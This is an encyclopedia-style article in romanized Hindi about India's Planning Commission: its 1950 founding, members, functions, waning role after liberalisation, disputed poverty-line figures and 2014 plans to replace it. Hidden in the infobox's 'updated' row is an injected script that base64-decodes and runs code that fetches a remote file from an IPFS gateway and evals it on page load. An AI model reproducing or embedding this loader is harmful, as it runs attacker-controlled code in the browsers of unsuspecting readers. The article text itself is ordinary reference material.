योजना आयोग
yojana ayog
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| uddeshy | desh ke sansadhanoan ke sarvadhik prabhavi tatha santulit upayog ke lie yojana banana. |
| sthapana | 15 march, 1950 |
| mukhyalay | yojana bhavan, sansad marg, nee dilli |
| adhyaksh | pradhanamantri |
| any janakari | pradhanamantri nareandr modi ne 15 agast, 2014 ko svatantrata divas ke avasar par lal qile ki prachir se kaha hai ki badalate vakt mean hamean rachanatmak soch aur yuvaoan ki kshamata ka adhikatam upayog karane vala sansthan banane ki jarurat hai. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 16:32, 18 agast 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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yojana ayog bharat sarakar ki pramukh svatantr sansthaoan mean se ek hai. isaka mukhy kary 'panchavarshiy yojanaean' banana hai. is ayog ki sthapana 15 march, 1950 ko ki gee thi. bharat ka pradhanamantri yojana ayog ka adhyaksh hota hai. vittamantri aur rakshamantri yojana ayog ke paden sadasy hote haian. is ayog ki baithakoan ki adhyakshata pradhanamantri hi karata hai. yojana ayog kisi prakar se bharat ki sansad ke prati uttaradayi nahian hota hai.
itihas
bharat mean british shasan ke aantargat sabase pahale 1930 ee. mean buniyadi arthik yojanayean banane ka kary shuroo hua. bharat ki aupaniveshik sarakar ne aupacharik roop se ek kary yojana bord ka gathan bhi kiya, jisane 1944 se 1946 tak kary kiya. niji udyogapatiyoan aur arthashastriyoan ne 1944 mean kam se kam tin vikas yojanayean banaee thian. svatantrata ke bad bharat ne yojana banane ka ek aupacharik m aaudal apanaya aur isake tahat 'yojana ayog', jo sidhe bharat ke pradhanamantri ko riport karata tha, ka gathan 15 march, 1950 ee. ko pradhanamantri javaharalal neharoo ki adhyakshata mean kiya gaya.left|thumb|yojana bhavan
panchavarshiy yojana ki shuruat
desh ki pratham panchavarshiy yojana san 1951 mean shuroo ki gayi thi. isake bad 1965 tak do aur panchavarshiy yojanayean banaee gayian. san 1965 ke bad pakistan se yuddh chhi d jane ke karan yojana banane ka kary mean vyavadhan aya. lagatar do sal ke sookhe, mudra ka avamoolyan, qimatoan mean samany vriddhi aur sansadhanoan ke ksharan ke karan yojana prakriya badhit huee aur 1966 aur 1969 ke bich tin varshik yojanaoan ke bad chauthi panchavarshiy yojana ko 1969 mean shuroo kiya ja saka.
yojana ayog ka gathan
yojana ayog ke paden adhyaksh pradhanamantri hote haian. isake bad ayog ka upadhyaksh sanstha ke kamakaj ko mukhy roop se dekhata hai. nareandr modi ki sarakar banane tak yojana ayog ke upadhyaksh moantek sianh ahaloovaliya the, jinhoanne bad mean istifa de diya. kuchh mahattvapoorn vibhagoan ke kaibinet mantri ayog ke asthayi sadasy hote haian, jabaki sthayi sadasyoan mean arthashastr; udyog, vijnan evan samany prashasan jaise vibhinn kshetroan ke visheshajn shamil hote haian. ye visheshajn vibhinn vishayoan par apani ray sarakar ko dete rahate haian. ayog apane vibhinn prabhagoan ke madhyam se kary karata hai. ayog ke visheshajnoan mean adhikatar arthashastri hote haian, yah is ayog ko bharatiy arthik seva ka sabase b da niyokta bana deta hai.
ab tak ayog ke upadhyaksh
ab tak ayog ke upadhyaksh ka pad jin logoan ne sanbhala unamean gulajarilal nanda, ti. krishnamachari, si. subrahmanyam, pi. en. haksar, manamohan sianh, pranab mukharji, ke. si. pant, jasavant sianh, madhu dandavate, mohan dhariya aur ar. ke. heg de jaise log shamil haian.
pramukh kary
[[chitr:Planning Commission over the years..JPG|thumb|jidipi (sakal ghareloo utpad) vikas dar (barahavian panchavarshiy yojana)]] san 1950 ke sankalp dvara yojana ayog ki sthapana ke samay isake karyoan ko is prakar paribhashit kiya gaya-
- desh mean upalabdh takaniki karmachariyoan sahit samagri, panji aur manav sansadhanoan ka akalan aur rashtr ki avashyakataoan ke anuroop in sansadhanoan ki kami ko door karane hetu unhean badhane ki sambhavanaoan ka pata lagana.
- desh ke sansadhanoan ke sarvadhik prabhavi tatha santulit upayog ke lie yojana banana.
- prathamikataean nirdharit karate aise kramoan ko paribhashit karana, jinake anusar yojana ko karyanvit kiya jaye aur pratyek kram ko yathochit poora karane ke lie sansadhan avantit karane ka prastav rakhana.
- aise karakoan ke bare mean batana, jo arthik vikas mean badhak haian aur vartaman samajik tatha rajanitik sthiti ke drishtigat aisi paristhitiyaan paida karane ki janakari dena, jinase yojana ko saphalatapoorvak nishpadit kiya ja sake.
- is prakar ke tantr ka nirdharan karana, jo yojana ke pratyek pahaloo ko ek charan mean karyanvit karane hetu zaroori ho.
- yojana ke pratyek charan mean huee pragati ka samay-samay par moolyaankan aur us niti tatha upayoan ke samayojana ki sipharish karana jo moolyaankan ke dauran zaroori samajhe jaean.
- aisi aantarim ya anushangi sipharishean karana, jo use sauanpe ge kartavyoan ko poora karane ke lie uchit hoan athava vartaman arthik paristhitiyoan, chaloo nitiyoan upayoan aur vikas karyakramoan par vichar karate hue athava paramarsh ke lie keandriy ya rajy sarakaroan dvara use sauanpi gee vishisht samasyaoan ki jaanch ke bad uchit lagati hoan.[[chitr:First five-year-plans.jpg|thumb|left|pratham panchavarshiy yojana]]
karyoan ka vistar
ek ayamik keandrit yojana pranali ki jagah bharatiy arthavyavastha nideshak yojana ki or badh rahi hai, jisamean yojana ayog ne bhavishy ke lie dirghakalin rananiti taiyar karane aur rashtr ke lie prathamikataean nirdharit karane ka uttaradayitv sambhala hai. yah sektar var lakshy nirdharit karata hai aur arthavyavastha ko vaanchhit disha mean le jane ke lie protsahan aur prerana ki vyavastha karata hai. manav vikas aur arthik vikas ke ati mahattvapoorn kshetroan ke lie niti taiyar karane hetu badhiya drishtikon paida karane ke lie yojana ayog ekikrit bhoomika nibhata hai. samajik kshetr mean gramin svasthy, peyajal, gramin oorja ki zarooratoan, saksharata aur paryavaran sanrakshan jaisi yojanaoan ke lie samanvay aur samanjasy ki zaroorat hai. abhi inake lie samanvit niti taiyar kiya jana shesh hai. is karan ejeansiyoan ki bahutayat ho gee hai. ekikrit drishtikon se kafi kam kharch mean achchhe parinam mil sakate haian.
ayog is bat par bal deta hai ki simit sansadhanoan ka upayog aise achchhe dhang se ho aur unase adhikatam utpadan ho sake. keval yojana parivyay mean vriddhi karate jane ke sthan par prayas yah hai ki avantit rashiyoan ka upayog karane ki kushalata mean vriddhi ho. upalabdh bajat sansadhanoan ki atyadhik kami mahasoos hone ke karan rajyoan aur keandr sarakar ke mantralayoan ke bich sansadhan avantan pranali par kafi zor p da hai. isalie yojana ayog ko sabhi sanbandhit pakshoan ka dhyan rakhate hue madhyasth ki bhoomika nibhani p dati hai. ayog ko shaantipoorn parivartan karake sarakar mean adhik utpadakata aur kushalata ki sanskriti lane mean sahayata karani hai. sansadhanoan ke kushal prayog ki kuanji yah hai ki sabhi staroan par svayan apani vyavastha banane vale sangathan banae jaean. is kshetr mean pranali badalav lane aur sarakar ke bich hi behatar pranaliyaan vikasit karane ke lie salah dene hetu yojana ayog apani bhoomika nibhane ka prayas karata hai. prapt anubhavoan ka labh phailane ke lie janakari vistarit karane ki bhoomika bhi yojana ayog nibhata hai.
sadasy
pradhanamantri ke paden adhyaksh hone ke sath, samiti mean ek namajad upadhyaksh bhi hota hai, jisaka pad ek kaibinet mantri ke barabar hota hai. kuchh mahattvapoorn vibhagoan ke kaibinet mantri ayog ke asthayi sadasy hote haian, jabaki sthayi sadasyoan me arthashastr, udyog, vijnan evan samany prashasan jaise vibhinn kshetroan ke visheshajn shamil hote haian. ayog apane vibhinn prabhagoan ke madhyam se kary karata hai, jinake do prakar hote haian-
- samany yojana prabhag
- karyakram prashasan prabhag
yojana ayog ke visheshajnoan mean adhikatar arthashastri hote haian. yah is ayog ko bharatiy arthik seva ka sabase b da niyokta banata hai. kaibinet mantriyoan ke saman hi ayog ke sadasyoan ko vetan tatha bhatta diya jata hai. alochak yojana ayog ko ek "samanaantar matrimandal" ya "sarvochch matrimandal" kahate haian.
kam huee ahamiyat
[[chitr:12th Plan figures.JPG|thumb|eft|barahavian panchavarshiy yojana]] soviyat sangh ki sanstha ke tarj par bharat mean sthapit yojana ayog ki prasangikata 90 ke dashak mean udarikaran ke bad khatm hone hone lagi thi. laiseans raj khatm hone ke bad yah bina kisi prabhavi adhikar ke salahakar sanstha ke taur par kam karati rahi. ab pradhanamantri nareandr modi ne kaha hai ki badalate vaqt mean hamean rachanatmak soch aur yuvaoan ki kshamata ka adhikatam upayog karane vala sansthan banane ki jarurat hai.
ayog ke vivadit dave
- 27.30 rupaye kharch karane vala gramin garib nahian, 2011 mean yah sima 26 rupaye thi.
- 33.33 rupaye kharch karane vala shahari garib nahian, 2011 mean yah sima 32 rupaye thi.
- 4080 rupaye pratimah (qarib 136 rupaye rojana) kamane vala paanch vyaktiyoan ka gramin parivar garibi rekha se oopar.
- 5000 rupaye pratimah (qarib 166.5 rupaye rojana) kamane vala paanch vyaktiyoan ka gramin parivar garibi rekha se oopar.[1]
kaisa hoga naya dhaancha
sarakar ki svatantr moolyaankan karyalay ke mahanideshak ajay chhibbar ke anusar yojana ayog ki jagah ek thik taiank b aaudi ka gathan hona chahie. aisa bhi mana ja raha hai ki yojana ayog ki jagah utpadakata ayog ya vikas aur sudhar ayog ban sakata hai. keandriy mantralayoan ko dhan avantan karane ka kam yojana ayog ki jagah naya yojana vibhag banakar vitt mantralay ko sauanpa ja sakata hai. isi tarah rajyoan ko dhan avantit karane ki shaktiyoan ko vitt ayog ko diya ja sakata hai. chhibbar ke anusar ayog ka maujooda svaroop aur karyapranali vikas mean sahayak nahian, balki badhak hai ai.ee.o. ka sujhav hai ki isaki jagah sudhar aur samadhan ke liye ek b aaudi ka gathan ho, jisamean keandr, rajy aur sansad sadasyoan aur niji kshetr ke pratinidhi shamil hoan. nee sanstha mean rajyoan ki bhoomika badhaee ja sakati hai. pradhanamantri nareandr modi keandr aur rajyoan ko milakar tim iandiya ki bat karate haian. nee sanstha mean isaki jhalak dekhane ko mil sakati hai.
yojana ayog ki jagah modi ka speshal-5 painal
aangreji akhabar ‘d ikon aaumik taims’ ki manean to pradhanamantri nareandr modi se shaktiyaan lene vala paanch sadasyiy thiank taiank yojana ayog ki jagah lega. akhabar ne sootroan ke havale se sanbhavana jataee hai ki poorv keandriy mantri suresh prabhu is painal ka sabase aham chehara ho sakate haian. sath hi mukt bazar ke himayati bharatiy-ameriki arthashastri araviand panagadhiya aur vivek debar aauy bhi is tim ka hissa ho sakate haian. adhikarik roop se painal ki adhyakshata pradhanamantri hi kareange.[2]
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tika tippani aur sandarbh
- ↑ amar ujala | dinaank- 18 agast, 2014 | prishth- 16
- ↑ yojana ayog ki jagah modi ka speshal-5 painal (hiandi) mahanagar taims. abhigaman tithi: 18 agast, 2014.
sanbandhit lekh
varnamala kramanusar lekh khoj
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